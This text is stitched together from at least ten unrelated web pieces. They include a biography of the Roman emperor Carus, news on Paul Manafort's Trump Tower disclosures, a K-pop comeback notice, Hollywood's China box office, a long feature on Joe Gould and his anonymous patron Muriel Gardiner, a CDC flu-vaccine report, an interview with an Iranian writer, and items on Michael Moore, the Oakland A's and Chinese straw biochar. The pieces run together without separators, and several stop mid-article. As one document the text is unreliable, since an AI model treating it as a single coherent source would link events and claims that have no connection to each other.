He died while campaigning against the Sassanid Empire, probably of unnatural causes, as he was reportedly struck by lightning. He was succeeded by his sons Carinus and Numerian, creating a dynasty which, though short-lived, provided further stability to the resurgent empire.
Biography [ edit ]
Carus, whose name before the accession may have been Marcus Numerius Carus,[4] was born, according to differing accounts, either in Gaul, Illyricum or Africa.[5] Modern scholarship inclines to the former view, placing his birth at Narbo (modern Narbonne) in Gaul[6][7] though he was educated in Rome.[8] Little can be said with certainty of his life and rule. Due to the decline of literature, the arts, and the want of any good historians of that age, what is known is almost invariably involved in contradiction and doubt.[9] He was apparently a senator[10] and filled various posts, both civil and military, before being appointed prefect of the Praetorian Guard by the emperor Probus in 282.[11]
Two traditions surround his accession to the throne in August or September of 282. According to some mostly Latin sources, he was proclaimed emperor by the soldiers after the murder of Probus by a mutiny at Sirmium.[12] Greek sources however claim that he rose against Probus in Raetia in a usurpation and had him killed.[13] The often unreliable Historia Augusta is aware of both traditions, although it prefers the former.[14] He does not seem to have returned to Rome after his accession, contenting himself with an announcement to the Senate.[15] This was a marked departure from the constitutionalism of his immediate predecessors, Tacitus and Probus, who at least outwardly respected the authority of the senate, and was the precursor to the even more despotic military autocracy of Diocletian.[16]
Campaign against the Sassanids and death [ edit ]
Bestowing the title of Caesar upon his sons Carinus and Numerian,[18][19] he left Carinus in charge of the western portion of the empire to look after some disturbances in Gaul [20] and took Numerian with him on an expedition against the Persians, which had been contemplated by Probus.[21] Having inflicted a severe defeat on the Quadi and Sarmatians on the Danube,[22] for which he was given the title Germanicus Maximus,[23] Carus proceeded through Thrace and Asia Minor, annexed Mesopotamia, pressed on to Seleucia and Ctesiphon, and marched his soldiers beyond the Tigris.[24]
The Sassanid King Bahram II, limited by internal opposition and his troops occupied with a campaign in modern-day Afghanistan, could not effectively defend his territory.[25] The Sasanians, faced with severe internal problems, could not mount an effective coordinated defense at the time; Carus and his army may have captured the Sasanian capital of Ctesiphon. The victories of Carus avenged all the previous defeats suffered by the Romans against the Sassanids, and he received the title of Persicus Maximus.[26] Rome's hopes of further conquest, however, were cut short by his death; Carus died in Sasanian territory, probably of unnatural causes, as he was reportedly struck by lightning.
Legacy [ edit ]
Like the splendid conquests of Trajan, 160 years before, Carus' gains were immediately relinquished by his successor. His son Numerian, naturally of an unwarlike disposition, was forced by the army to retreat back over the Tigris.[27] The report of the lightning strike was evidently widely accepted in the camp, and the superstitious awe of the troops inclined them to ascribe Carus' death to the wrath of the Gods. Rumors had been spread of dark oracles, affixing the limits of the Empire on the Tigris, and threatening destruction against the Roman who should presume beyond the river in arms. Persia was abandoned to her rightful possessors, and not till Diocletian, a decade later, was the Persian contest decided in Rome's favor, by that emperor's decisive victory.
In the sphere of civil affairs, Carus is remembered principally for the final suppression of the authority of the senate, which had been partially restored under Tacitus and Probus. He declined to accept their ratification of his election, informing them of the fact by a haughty and distant dispatch. He was the last emperor to have united a civil with a military education, in that age when the two were increasingly detached; Diocletian (Imp. 284-305), who succeeded Carus after the brief reign of the latter's sons, was to confirm and formalize the separation of professions, and the autocratic foundation of the imperial rule.[28]
Though Carus was known throughout his life for his austere and virtuous manners, the suspicion of his complicity in Probus' death, along with his haughty conduct towards the senate, tarnished his reputation before his death, and Julian, as Gibbon observes, conspicuously places him among the tyrants of Rome, in his catalogue of The Caesars.[29]
See also [ edit ]
Sources [ edit ]
Primary Sources [ edit ]
President Donald Trump's former campaign chairman, Paul Manafort, alerted authorities in June about Donald Trump Jr.'s controversial Trump Tower meeting with a Russian lawyer during the 2016 presidential campaign.
Knowledge of the June 2016 meeting became public with a New York Times report last month. Authorities, however, were informed of the meeting by Manafort a month prior, on June 9, Bloomberg reported Thursday.
Trump Jr.'s meeting with Russian lawyer Natalia Veselnitskaya included Manafort, Trump's son-in-law and senior adviser, Jared Kushner, Russian political operative, Rinat Akhmetshin, and Russian real estate executive, Irakly "Ike" Kaveladze.
Rob Goldstone helped broker the meeting, claiming that Veselnitskaya could provide him with compromising information against Hillary Clinton as part of Russian government's efforts to help Trump's candidacy, according to the New York Times.
The documents "would incriminate Hillary and her dealings with Russia and would be very useful to your father," read the email, written by a trusted intermediary, who added, "This is obviously very high level and sensitive information but is part of Russia and its government’s support for Mr. Trump." If the future president's elder son was surprised or disturbed by the provenance of the promised material—or the notion that it was part of an ongoing effort by the Russian government to aid his father's campaign—he gave no indication. He replied within minutes: "If it's what you say I love it especially later in the summer."
Manafort has, in addition to informing authorities of the meeting, been voluntarily providing documents to congressional committees conducting separate investigations into Russia’s election interference, the Washington Post reported.
In conjunction with the special investigation led by special counsel Robert Mueller, FBI agents raided Manafort's Alexandria home late last month. Agents seized materials and documents related to the investigation, according to the Post.
The raid, which occurred without warning on July 26, signaled an aggressive new approach by special counsel Robert S. Mueller III and his team in dealing with a key figure in the Russia inquiry. Manafort has been under increasing pressure as the Mueller team looked into his personal finances and his professional career as a highly paid foreign political consultant. Using a search warrant, agents appeared the day Manafort was scheduled to testify before the Senate Judiciary Committee and a day after he met voluntarily with Senate Intelligence Committee staff members. The search warrant requested documents related to tax, banking and other matters. People familiar with the search said agents departed the Manafort residence with a trove of material, including binders prepared ahead of Manafort’s congressional testimony.
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The trio comprising of Jang Bum Joon, Brad and Kim Hyung Tae are currently preparing for their triumphant come back with their agency stating that the group is targeting a September return.
Busker Busker’s agency, Youth Music, has revealed that the group will release their 2nd album in September and that the group is currently busy working on their album in a studio situated in Gangnam. The agency had previously release a set of teaser pictures of the group working on their new album which had fuel anticipation amongst fans about when we could see the group’s new album.
A representative from Youth Music has stated that “While the thee of them had gathered occasionally to perform together, they had only started working on their new album in earnest late last month.” The group had previously been on an extended break since releasing their popular first album in June of last year and has been mostly staying out of public for the last year.
In celebration of their new album’s release, the agency has also revealed that group will be holding a series of concerts in 2013 called “2013 Busker Busker Concert” which will see the group performing in Busan on October 3, Daegu in October 20 and in Seoul on November 1 and 2.
In the recent CFI story, Why Hollywood Should Worry About the U.S.-China Summit, Steven Schwankert suggested that should the upcoming meeting between China and the Trump administration go sour, the Chinese government could easily tear up the import quota and ban all Hollywood entertainment from entering the country.
Though the symbiotic relationship of the two nations may make that notion seem farfetched, it does pose the question of how much the Hollywood studios actually collect from the Chinese market compared to what they make in rest of the world. And the answer, it turns out, is surprisingly little.
The chart above depicts the global net box office revenue of the thirty-two revenue-sharing imports released by Hollywood’s Big Six studios in 2016. (”Net revenue” reflects a streamlined calculation, omitting unquantifiable P&A costs, pre-booking purchases, and ancillary income from TV and streaming to focus on net box office returns, using a widely-accepted shorthand that assigns studios roughly 50% of a film’s North American box office gross, an average of 40% from overseas territories excluding China, and 25% from China.)
The results from this model show that China accounted for $500 million or just 7.7 percent of the $6.5 billion worldwide net revenue from these thirty-two films. The two films that relied on China the most last year were Universal’s Warcraft (38%) and Paramount’s Teenage Mutant Ninja Turtles 2 (15%), but by and large, Hollywood films made less than 5% of their worldwide revenue from the Chinese market, indicating that for all the effort producers currently expend to integrate Chinese talent and story elements, and to bend their own material in ways to please Chinese censors, Hollywood’s headlong push into China remains primarily about getting early access to a market that still exists in the realm of possibility.
Eighty-two winters ago, on a frigid day in Greenwich Village, a very little man in a very big coat entered a Greek restaurant and asked for free food. His name was Joe Gould. The year was 1932, the height of the Great Depression, and the owner offered Gould soup and a sandwich. As Gould waited for it, a reporter drinking coffee in a nearby booth took him in: his dirty face and bald head and bushy beard and small fingers clasped for warmth. Gould made an impression. So did the mention by the owner of the restaurant that this same man was “writing the longest book in the history of the world.” A decade later, the reporter, a Carolinian named Joseph Mitchell, profiled Gould in the December 1942 issue of The New Yorker. Mitchell wrote that Gould, a self-described “runt” whose mother had pitied him and whose father had disparaged him, had left his suburban home southwest of Boston for the streets and flophouses of New York. There, wrote Mitchell, Gould was now busily assembling tracts of spoken language, of actual dialogue, into an opus titled An Oral History of Our Time. The book, said Gould, communicated truths that surpassed all he had learned at Harvard. Mitchell believed Gould. He believed in him too. Titled “Professor Sea Gull” (Gould claimed to understand the caws of the shorebirds), Mitchell’s article changed Gould’s life. People “are beginning to look at me in a different light,” Gould wrote Mitchell soon after. “I’m not just that nut Joe Gould but that nut Joe Gould who may wind up being considered one of the great historians of all time.” Mitchell did not write again about Gould until two decades later. By then, Gould was dead and Mitchell was considered “the greatest living reporter” (at least by Lillian Ross of The New Yorker). Mitchell in the interim had also learned something remarkable: the Oral History did not exist. It was a complete figment. Gould had looked up at Mitchell with his conjunctival eyes, and flat-out lied. Gould had written nothing more, as Mitchell later noted, than a few repetitive thoughts about tomatoes, Indians, and the deaths of his parents. But no matter. Mitchell regarded Gould as a form of performance art. And looking back at him, Mitchell had seen something greater than a great book: a kindred spirit, a fellow outsider and peripatetic aspiring to catalogue life in the big city. “Joe Gould’s Secret” ran in consecutive issues of The New Yorker in September 1964. Published the next year as a book, it was, famously, Mitchell’s final published piece (though he reported to the office most days until his death in 1996). It was also his finest—a “masterpiece,” as New Yorker editor David Remnick later characterized it. This September will mark the jubilee of that masterpiece, the fiftieth year since it appeared in print. It has aged well—preserved in a Mitchell collection published by Pantheon Books (Up in the Old Hotel, 1992), in a film by Stanley Tucci (Joe Gould’s Secret, 2000), and in countless college courses. Joe Gould’s Secret was built to last. “No bent nails,” the editor William Maxwell once observed. “Every word driven, so to speak, all the way into the wood.” But if Joe Gould’s Secret is well known, Joe Mitchell’s secret is not. In the spring of 1944—more than a year after Mitchell had profiled Gould—a woman stepped forward to provide the homeless writer with room and board. The woman insisted that she remain anonymous, and arranged for a go-between to give Gould a weekly stipend. It was a benefaction out of the blue, and would, in time, play a pivotal role in his life. Gould was desperate to learn who his patron was. “I’d almost rather know who she is,” he once snapped at Mitchell, “than have the money!” But he never found out. Mitchell himself learned her identity only in 1959, in conversation with one of the woman’s few confidants. And he dropped a few breadcrumbs into his 1964 article, describing the patron as “a very reserved and very busy professional woman who was a member of a rich Middle Western family and had inherited a fortune and who sometimes anonymously helped needy artists and intellectuals.” But Mitchell revealed nothing more, and took what he knew to his grave. And so, even as Mitchell’s book joined the literary canon, no postscript was added to it—no name ever given to the “professional woman” who had supported its protagonist. When Mitchell died, he left behind the copious remains of both a career and a collection—a few hundred thousand sheets of paper and a few thousand found objects from the city he had chronicled: buttons, nails, doorknobs, spoons. The papers were given into the care of Sheila McGrath, a former assistant at The New Yorker, whom Mitchell had named as his literary executor. When McGrath died, in September 2012, Mitchell’s elder daughter, Nora Sanborn, then 72, became his literary executor and took possession of his papers, which, she says, were packed into more than 100 cartons. The next month, Sanborn, a retired probation officer in New Jersey with blue eyes and graying honey hair, took part in a commemoration of Joe Mitchell along the piers of lower Manhattan. I met her on that occasion and asked if she knew who the anonymous patron was. Sanborn said she did not. But she agreed to search the files to see if they might yield a name. Sanborn was back in New York seven months later, this past spring, for another celebration of her late father. Dressed in a black blouse and black slacks, she sat with some 40 others in a windowed gallery abutting the East River, and looked up at a wiry old man seated on a high wooden chair. He had a white beard and blue eyes and a face that was either tan or sallow. His name was Jack Putnam. He had known Mitchell, and on this misty May day, he began to read aloud a story written by him in 1944, “The Black Clams.” Like almost everything Mitchell wrote, it was true and funny and straight and sacred, devoid of judgment and alight with lists. As the audience listened to what her father had written, Sanborn held on her lap a folder filled with more of his words: an account of two dinners Mitchell had had in 1959 with a man named John Rothschild, and a letter Rothschild had written years earlier to that woman from a “rich Middle Western family.” The papers were neatly typed and dated. In the upper-right corner of a few of the sheets, Mitchell had scrawled the name “Joe Gould.”
Joseph Ferdinand Gould was born in the fall of 1889 in an apartment above a meat market in Norwood, Massachusetts. His father and grandfather were doctors. But Gould hated the sight of blood—he once fainted when he saw the family cook kill a chicken—and on top of that was “ambisinistrous,” as he later put it to Mitchell: as clumsy as a person with two left hands. And so, when Gould told his father, at roughly age 13, that he too wished to be a doctor, his father answered, “That’ll be the day.” The words still pained Gould when he recalled them to Mitchell four decades later. Gould left home for Harvard and graduated in 1911. He loved literature, but turned now to Balkan politics and then to eugenics. He spent months measuring the heads of Mandan Indians on a reservation in North Dakota. When he returned home, in 1916, he rejected a job his father had found for him collecting rent and decided instead that he wished to become a drama critic in New York. Gould took a train to Manhattan, settling for a job as a messenger boy and as an assistant police reporter for the Evening Mail. Gould was 27 when, the next summer, he read a sentence by William Butler Yeats that changed his life: “The history of a nation is not in parliaments and battlefields, but in what the people say to each other on fair days and high days, and in how they farm and quarrel, and go on pilgrimage.” As Gould explained to Mitchell: All at once, the idea for the Oral History occurred to me: I would spend the rest of my life going about the city listening to people—eavesdropping, if necessary—and writing down whatever I heard them say that sounded revealing to me, no matter how boring or idiotic or vulgar or obscene it might sound to others. I could see the whole thing in my mind—long-winded conversations and short and snappy conversations, brilliant conversations and foolish conversations, curses, catch phrases, coarse remarks, snatches of quarrels, the mutterings of drunks and crazy people, the entreaties of beggars and bums, the propositions of prostitutes, the spiels of pitchmen and peddlers, the sermons of street preachers, shouts in the night, wild rumors, cries from the heart. I decided right then and there that I couldn’t possibly continue to hold my job, because it would take up time that I should devote to the Oral History, and I resolved that I would never again accept regular employment unless I absolutely had to or starve but would cut my wants down to the bare bones and depend on friends and well-wishers to see me through. Gould quit his job. And over the decades that followed, he did as he had pledged in the thrill of that Yeatsian epiphany—he shunned regular work, lived close to the bone, subsisted on the charity of others, listened to what was spoken all around him. The only thing he did not do was write down what he heard. Gould, though, told people that he did. He told them that his “quote oral history unquote,” as E. E. Cummings, an acquaintance of his, put it in a 1935 sonnet, would be on a par with the achievement of Edward Gibbon. And he told them that the Oral History was growing and growing—nine million words and counting when Mitchell first wrote about Gould in The New Yorker, in 1942. Those who gave Gould their pocket change believed they were supporting a great work. And in a sense they were, bankrolling not a big book but a compelling little man who, the fiction of his Oral History notwithstanding, could dance an Indian stomp and speak to birds and write poems and inspire poetry, too. Cummings, Donald Freeman, Alice Neel, Ezra Pound, William Saroyan, and Joseph Stella were among the bohemian elite who knew Gould and painted him and wrote of him. Still, his famous circle aside, Gould remained a man of the street. He was often dirty, dizzy, and drunk, cold, loused, and hungry. He had no teeth and cadged his meals, eating free ketchup by the spoonful in diners. And when, in the spring of 1944, a painter Gould knew, Sarah Ostrowsky Berman, happened upon him seated on the steps of a tenement on Bleecker Street, with a bad cold and a hangover and sores on his legs, she was heartbroken. Only a few years earlier, the two had had long talks at parties. Berman took Gould to her home. She cleaned him, fed him, gave him money. After he left, she sent out letters to many people he knew. “Joe Gould is in bad shape,” she wrote, as Mitchell later recounted. “Something must be done about him at once. If it isn’t, some morning soon he and a part of us will be found dead on the Bowery.” A week later, Berman got a phone call from one of the people she had written to, a painter named Erika Feist. Feist told her that both she and her former husband, John Rothschild, a businessman and fund-raiser, had turned to a friend of his—the heiress Mitchell would later allude to in his book. The woman, said Feist, had agreed to give Gould $60 a month (about $800 today) for room and board, with the strict proviso that she remain anonymous. As Mitchell wrote, “Gould must never be told who the woman was or anything about her that might enable him to find out who she was.”
Muriel Morris Gardiner Buttinger knew well the importance of discretion. She was born in Chicago in 1901, the offspring of two families, the Swifts and the Morrises, made very rich by meatpacking. According to her 1983 memoir, Code Name “Mary,” she and her three older siblings grew up in an enormous Tudor house with gardens and stables and many servants. One of those servants, a housekeeper named Nellie, first made her young charge aware that her life of privilege stood in stark contrast to the conditions endured by many others. There were the rich. And there were the poor. The young Muriel sought to correct for the fact of her privilege. She disciplined herself, taking cold showers in winter and sleeping on the bedroom floor. She educated herself, reading Marcus Aurelius, Ralph Waldo Emerson, Upton Sinclair. And after inheriting a huge sum when her father died, in 1913—some $3 million (the equivalent of about $70 million today), according to Muriel’s War, a biography of Gardiner by Sheila Isenberg­—Gardiner began to consider how she might help others. She was a student at Wellesley College when, together with a Harvard undergraduate named John Rothschild (the same man who years later would help connect her to Gould), she organized a group of left-leaning students intent on understanding the problems of the world. Gardiner graduated from Wellesley in 1922 with majors in history and literature. She went on to study literature at Oxford, writing her thesis on Mary Shelley, the author of Frankenstein. And after moving to Vienna in the hope of being psychoanalyzed by Sigmund Freud—she settled for his patient and protégé Dr. Ruth Brunswick—she decided to become a psychoanalyst herself and began medical school in 1932 at the University of Vienna. A homegrown fascism overtook Vienna in 1934, and Gardiner joined the Austrian underground. Over the next five years, as Austria was pulled into the orbit of Hitler’s Germany, Gardiner harbored in her Vienna apartment “Jews and politically endangered comrades,” as she wrote in her memoir, and helped others to flee, securing their passage with false passports, contrived affidavits, and her own money. All the while, Gardiner pursued her studies and tended to a young daughter—Connie, born in 1931 during a short-lived marriage to an Englishman named Julian Gardiner. After her divorce, Gardiner began a passionate relationship with the poet Stephen Spender. She then took up with the Austrian socialist leader Joseph Buttinger, one of the dozens of dissidents she had safeguarded. After Buttinger and Connie left Vienna for the security of life abroad, Gardiner did too, fleeing in June of 1938 to Paris, where she and Buttinger later wed. In November 1939, the couple boarded a ship to New York and eventually settled with Connie in New Jersey. There, Gardiner continued her medical career while helping to resettle refugees from the war. The war was nearly over when, in 1944, Gardiner’s old friend John Rothschild and his former wife, Erika Feist, received those letters from Berman requesting help for a panhandling poet named Gould. A possible patron came immediately to mind. “Erika thought of a very rich friend,” Rothschild recalled to Mitchell years later, over dinner at the Harvard Club in New York, on June 4, 1959. Rothschild then confided the name of that friend. Mitchell preserved the conversation with obvious excitement, typing the name in capital letters onto a line all its own: “MURIEL BUTTINGER.” He slipped the paper into his files.
It is not hard to understand why Joe Gould might have captured Muriel Gardiner’s imagination. Like her, he loved literature. He had pursued meaning at the expense of comfort. And he had found that meaning in Greenwich Village, just as she had when, in the summers of 1926 and 1927, she had called the Village home and gloried in its egalitarianism and camaraderie, its literary vitality, its freedom—sleeping, as she later wrote, atop its roofs. But operating underground in Vienna, it was discipline and discretion that had guided Gardiner. And she approached patronage with similar rigor, insisting not only on her anonymity but also, as Mitchell wrote in Joe Gould’s Secret, that an intermediary disburse her money to Gould and see to it that the funds be used to buy room and board, not alcohol. Gardiner further stipulated that this person be “discreet and responsible.… someone Gould respected and would heed.” Erika Feist asked a Manhattan art gallerist named Vivian Marquié to be that person, to mediate between Gardiner and Gould. Marquié agreed. She had, as Mitchell wrote, long cared for Gould and given him clothing. According to another document in Mitchell’s files, Rothschild later told Mitchell that it was Marquié who then “had the plan … to get together some money for his bed and board, and pay it directly, he wouldn’t handle the money at all.” Thus it was done—money passed from Gardiner to Marquié to Henri Gerard, a friend who owned a rooming house in a Chelsea brownstone where, Mitchell wrote, “Gould was installed.” But the installation left Gould unhappy. Yes, at age 55, he suddenly had what he had gone without since he was half as old: a clean room and three meals a day. He had a bed, a chair, a table, a dresser, a skylight. All was free and nothing was asked. Like a Mozart or Michelangelo, he now had a patron. But Gould did not know who his patron was. And he grew desperate to find out. “The mystery of the identity of his patron tormented him,” Mitchell wrote. “It was all he could think about.” And so, daily, in the spring of 1944, Gould began to hound Marquié for information. When she let slip Gardiner’s gender, he scanned newspapers for mentions of benefactresses and sought out wealthy women who had somehow intersected with his life. No luck. He then demanded that Mitchell identify his patron. When Mitchell told him that he did not know who she was, Gould nonetheless handed him a letter to pass along. Mitchell quoted from its beginning: A RESPECTFUL COMMUNICATION FROM JOE GOULD TO HIS UNKNOWN PATRON (WHO WILL BE CHERISHED BY POSTERITY FOR HER GENEROSITY TO THE AUTHOR OF THE ORAL HISTORY WHETHER SHE CHOOSES TO REMAIN ANONYMOUS OR NOT). Mitchell told Gould to tear up the letter and stop looking. But Gould did not, and instead gave the letter to Marquié, who reprimanded him as well. Gould eventually gave up the search—but not the speculation. He wondered, for instance, if the patron might be his biological mother. “How would you feel,” he asked Mitchell, “if you knew that somewhere out in the world there was a woman who cared enough about you not to want you to starve to death but at the same time for some reason of her own didn’t want to have anything to do with you and didn’t even want you to know who she was?” But Gould moved forward. When Mitchell next chanced upon him, at the Jefferson Diner, in December of 1944, Gould was vibrant. He claimed that he was now unbothered by the anonymity of his patron, saying that whoever she was, she had, he now understood, bestowed upon him a gift far greater than mere room and board: a stamp of approval. For as word had spread that he had a patron—a woman Gould referred to as “Madame X” and said he knew—the handouts given him had grown bigger, and his standing among his fellow bohemians had increased, too. What’s more, having a patron was helping Gould to write. Not the Oral History, of course. Rather, a diary. True, it was “first and foremost a record of baths taken, meals consumed, and dollars bummed,” as the Village Voice would report in 2000, when the diary surfaced in an archival collection at New York University. But at least it existed. And that it did was no doubt owing in part to Gardiner. Gould had written the bulk of its 1,100 pages while living on her $60 a month. And then, suddenly, the money stopped.
An interim CDC report found the shot was only 23 percent effective overall, a performance about in line with what the U.S. Centers for Disease Control and Prevention predicted last year, experts said. At the time, CDC warned that the predominant flu virus, influenza A (H3N2), had “drifted” or changed genetically since the shot was made.
Effectiveness varies widely by age, working best in young, healthy people and least well in the elderly, a pattern reflected in the report released Thursday.
It showed effectiveness against H3N2 viruses was highest - at 26 percent - among children aged 6 months to 17 years. It was roughly 12 percent effective in people 18-49 and 14 percent effective in those 50 and older, but those estimates were not statistically significant because there was too little data at this point in the flu season.
“These estimates of vaccine efficacy are doleful, and they are entirely consistent with what the CDC told us they were likely to be based on the studies in the lab,” said Dr. William Schaffner, an infectious disease expert at Vanderbilt University Medical Center in Nashville.
Since the CDC started doing flu vaccine studies in the 2004-2005 flu season, overall effectiveness has ranged from 10 percent to 60 percent.
The results reflect limitations in the current shots, in which flu strains for the Northern Hemisphere are selected in late February of the prior year, giving manufacturers roughly six months to make the vaccines from scratch before the start of the flu season in August.
Schaffner said this year’s predictions of which virus would be dominant were fairly accurate, in that the shot contains H3N2, a subtype associated with more severe flu seasons. The problem was that the circulating version of H3N2 mutated just enough to reduce vaccine effectiveness.
CDC epidemiologist Brendan Flannery said H3 viruses can change from year to year, but “this is a pretty major one.”
“There are some years when the virus drifts and the vaccine still provides pretty good protection. This is not one of those years,” he said.
Even the gentle references to sexuality in Fereshteh Ahmadi’s short story Harry Is Always Lost meant it was hit by the censors. The female protagonist is late catching a flight. In a frantic taxi journey to the airport, she is with a man, but it is not clear if they are dating or are husband and wife.
On the plane, she sits next to a strange man, who starts a conversation and ends up giving her a lift when they land in Tehran. This stranger drives so fast that the wind blows her scarf away, leaving her struggling to cover her head until they manage to buy a new one.
UN condemns 16-year jail sentence for Iranian activist Narges Mohammadi Read more
The story was initially in Ahmadi’s 2013 collection, Heatstroke, but censors at Iran’s ministry of culture and Islamic guidance, who vet all books before publication, asked her to remove it.
“They wanted the man and the woman in the story to be husband and wife or at least be engaged,” says the Tehran-based writer, while visiting the UK for the first time on the invitation of the International Agatha Christie festival in Torquay.
“They also had issues with the woman. They said she went too far with the guy on the plane – why was she travelling so easily independently? Why was she having a relaxed encounter with the second man? Her self-confidence made them uneasy.”
But that was under hardliner president, Mahmoud Ahmadinejad. Now the story is in print thanks to a little more leeway in censorship under newly re-elected president Hassan Rouhani.
Ahmadi’s work as a writer is particularly striking because she comes from a country where conservative attitudes towards women are prevalent. It is obligatory for women in Iran to wear the hijab, and in court their testimony is worth only half that of a man. Judges, as a rule, favour men over women in divorce cases.
Despite such discriminatory laws, Iranian women are incredibly active, taking up more places at universities than men and having a strong presence in civil society – although a number of leading women’s rights activist are languishing in jail.
Iran has a number of female vice-presidents and one female ambassador. Rouhani is expected to nominate a number of female ministers.
Ahmadi’s success is testament to female writers thriving in Iran’s literary scene.
Ahmadi, who has been a judge in a number of Iranian literary prizes, was born in the southern city of Kerman in 1972. She studied architecture at Tehran University and worked as an architect for some years before dedicating herself to writing. Her first collection of short stories, Everybody’s Sara, was published in 2004 and she has written two novels: The Forgetful Angel and The Cheese Jungle.
“The eight years under Mahmoud Ahmadinejad was a real catastrophe,” she says. “A lot of books did not get permission for being printed, a lot of books had permission but they were blocked from being reprinted. In the past four years under Rouhani a lot of books managed to get permission, get printed, for many writers they finally succeeded to publish their work.”
Ahmadi joined other prominent Iranian writers in signing a letter of conditional support for Rouhani, who was re-elected in a landslide victory last month.
The letter called for more freedoms. “We’re in a situation better than [the] past, better than those eight years, but we want it to get better.”
Ahmadi, who also works as an editor with two publishing houses, said she has noticed the political difference in her own job. “I see with my own eyes how many books get permission,” she says. “Now, at least you can go and haggle, you can talk to the censors, you can make changes, you can ask for a review.”
Iranian painter and women's rights activist on trial for insulting MPs Read more
Like all Iranians, she practises a degree of self-censorship. Ahmadi says Iranian writers have mastered how to use metaphors and symbolism to get around restrictions. In a story featured in her collection Domestic Monsters, published last year, a group of men go up the hill to eat and drink, but there’s no mention of alcohol. Until someone throws up, a clue that strong drink was involved.
“We talk about something, but we mean something else. We’ve learned how to do this and our audience also gets it, the audience gets the clues,” she says.
“In the past two decades, women writers are doing something different in contrast with an older generation of female writers who were still following male traditions. A woman wrote stories but the stories are about someone else. The protagonist is a wife of that person, or the daughter of that father, the main focus is on that man and the woman is still in the shadows. That has changed in the new generation of Iranian female writers. Now they’re looking for their own voice, an independent voice.
“In the recent generation, good or bad, women writers are talking about their own issues. They’ve created an issue and they should resolve it themselves. It’s not an issue about their husband or a male character.”
She remembers an Iranian magazine journalist asking her about something she would like to do that she hasn’t done before. “I said I wanted to go for a stroll in Tehran in the middle of the night. For a man that is a strange wish, because he can do this. Not for a woman. I’ve never done it before – I really want to do it. I want to walk in the streets of Tehran at night at 1am, 2am to see who is still awake, how it feels, what’s happening in the city.”
Ahmadi is critical of how the outside world views Iran. “The world focuses on extremes in Iran, but people in Iran want to portray their inner stories, they want to talk about themselves, where I am in all of this,” she says. “When we want to know deeply about other people, we go and read their stories, watch their cinema but all these years, there has only been a focus on bold issues in Iran. That’s why people, their identity, their connections and their private lives that have similarities to lives in other parts of the world [are] forgotten in the middle of this. I think many of our writers are doing just that. They’re writing about themselves, they’re looking into their own identities.”
Back in 2009, the morning show invited Moore on the broadcast to bash big bonuses for Wall Street executives. In part, Moore ranted against the wealthy business leaders living in "gated communities" and "castles with moats around them." Perhaps Moore should have remembered that people living in giant mansions shouldn't throw stones.
During the Thursday report, correspondent Gabe Gutierrez described: "Deep in northern Michigan, this lake-front mansion is the talk of the town....It belongs to one of the state's most well-known celebrities. Not Eminem or Kid Rock, no, this $2 million home on Torch Lake is owned by filmmaker Michael Moore and his wife of twenty-two years, Kathleen Glynn."
The segment featured a clip of Moore "slamming the one percent at this Occupy Wall Street protest" in 2011. Gutierrez then explained: "The new court documents reveal Moore and his now ex-wife shared properties in Michigan and New York. The Detroit News reports the couple owned nine total."
Wrapping up the story, Gutierrez observed: "Already exposed, what some in this small Michigan town feel is a contradiction between Moore's common-man persona and his uncommon wealth."
That plan definitely includes locking up some of their young cornerstone players with long-term contracts at some point, and Beane says those conversations already are happening.
“First, we want to make sure we’re identifying the right guys,” said Beane, Oakland’s executive VP of baseball operations. “I’ll just say it’s probably a conversation we’ve already started. We’ve had that discussion already. It’s going to be important for us to do it.”
Surely such talk is music to the ears of A’s fans who have grown accustomed to watching the team’s top players either get traded or sign with other teams in free agency. Signing multiple young players to long-term deals would represent a shift in organizational philosophy.
But that’s exactly what A’s president Dave Kaval, the front office and manager Bob Melvin have been talking about throughout this past season — there’s a commitment that things will be run differently and the A’s will try to retain some of their best talent moving forward.
However, the execution will be tricky given the team isn’t planning for its new ballpark to open until 2023, and that’s assuming no hurdles delay the project. Beane talks about the need to have a competitive team stocked with homegrown players ready by the time the A’s move into that ballpark. But how can the team start making a financial commitment to players when that anticipated ballpark is still so far down the road?
“When you’re talking about building a club for a stadium that’s six years off, and if you’re talking about locking them up, then you’re looking to have to lock them up for a long time,” Beane said. “So that’s sort of the trick and the balance that we have to address this offseason, if we’re going to embark on that.
“I think right now we’ve just got to operate that (the ballpark) is going to happen (on time). The other option is one we’ve done my entire career here, which is constant churn. I’m churned out.”
The young players that figure to warrant consideration for long-term deals include, but aren’t relegated to, designated hitter Ryon Healy, third baseman Matt Chapman, first baseman Matt Olson and utility man Chad Pinder. And it’s not like they all have to be inked right away.
Healy, Olson and Pinder won’t even become eligible for salary arbitration until the winter before the 2020 season. They’ll be due for free agency heading into the 2023 season, and Chapman’s timeline is a year behind those three. On the flip side, the earlier the A’s can get guys locked up, the more team-friendly those deals are likely to be from a cost standpoint.
It’s the young core of position-player talent, and the belief that other top prospects (pitchers and hitters) aren’t far away from the bigs, that drives the A’s optimism. A 17-7 finish put a positive spin on a 75-87 overall record and another last-place finish in the AL West.
One area the A’s will certainly look to address this offseason is their starting rotation, which could use a veteran innings-eater. But Beane and Forst were pleased with how several of their young prospects emerged and complemented productive veterans such as Khris Davis, Jed Lowrie and Matt Joyce.
Still, this is a noteworthy place. It is healing one of China's long-standing headaches.
That headache is straw, basically an agricultural waste collected from nearby farms. Workers here chop it, compress it, then heat it slowly in sophisticated, oxygen-free ovens to produce biochar, a sort of charcoal that can be used as soil amendments. What remains -- two types of liquids called wood tar and wood vinegar -- are removed to sealed vessels and are sold as eco-friendly pesticides and soil conditioners.
Through this, the factory produces industrial goods worth nearly $10 million per year. The process also produces a combustible gas that it converts into electricity -- to run the machinery.
China has lots of straw. The nation is scrambling for ways to dispose of this agricultural waste, and companies like Shangqiu Sanli New Energy Ltd. are among a few that have succeeded. But figuring out how to scale this up remains a daunting challenge.
At the end of harvest season, China's breadbaskets, from the Yangtze River Delta on the coast to the landlocked Sichuan Basin, turn into a sea of baled straw. In some places it can extend to the horizon.
Chinese farmers used to store straw for cooking and heating. But with their rising incomes and growing desire for an easier life, more rural families began buying coal briquettes and bottled liquefied petroleum gas instead. So they simply set fire to straw.
Burning straw is a major cause of smog. The smoky air also has a pungent odor that causes coughing and other health problems. Sometimes it even costs lives as dense, eye-smarting smoke clouds drift over roads and lead to car crashes.
Lawmakers here have tried to ban straw burning, but farmers in a hurry to clean fields for the next planting often ignore that. In places like eastern China's Anhui province, the government sent drones aloft to identify the straw burners.
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Tapping into folk wisdom
In 2005, after hearing about farmers in neighboring villages being jailed for burning straw, Lin Zhenheng, then a 48-year-old entrepreneur, decided to seek a solution.
